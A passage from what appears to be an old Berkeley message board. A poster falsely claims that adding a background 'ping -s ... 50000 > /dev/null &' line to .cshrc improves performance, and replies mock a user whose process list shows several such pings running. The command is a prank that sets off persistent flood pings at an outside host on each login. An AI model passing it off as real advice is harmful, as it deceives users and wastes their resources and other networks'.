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5/14 In order to improve the performance of your machine, please add the following in your .cshrc file in all of your accounts: ping -s http://www.microsoft.com 50000 > /dev/null & \_ To get squished please add "ping -s <DEAD>uclink4.berkeley.edu<DEAD> 50000 > /dev/null &" to the .cshrc in all of your accounts. \_ And the award goes to gosha, who in a supreme display of awe-inspiring stupidity has made us all laugh really hard: gosha 25671 1 0 16:52:00 ? 2:29 ping -s http://www.microsoft.com 50000 gosha 16807 1 0 10:19:41 ? 0:01 ping -s http://www.microsoft.com 50000 gosha 16696 1 0 23:20:56 ? 1:42 ping -s http://www.microsoft.com 50000 gosha 25499 1 0 16:49:47 ? 2:40 ping -s http://www.microsoft.com 50000 |
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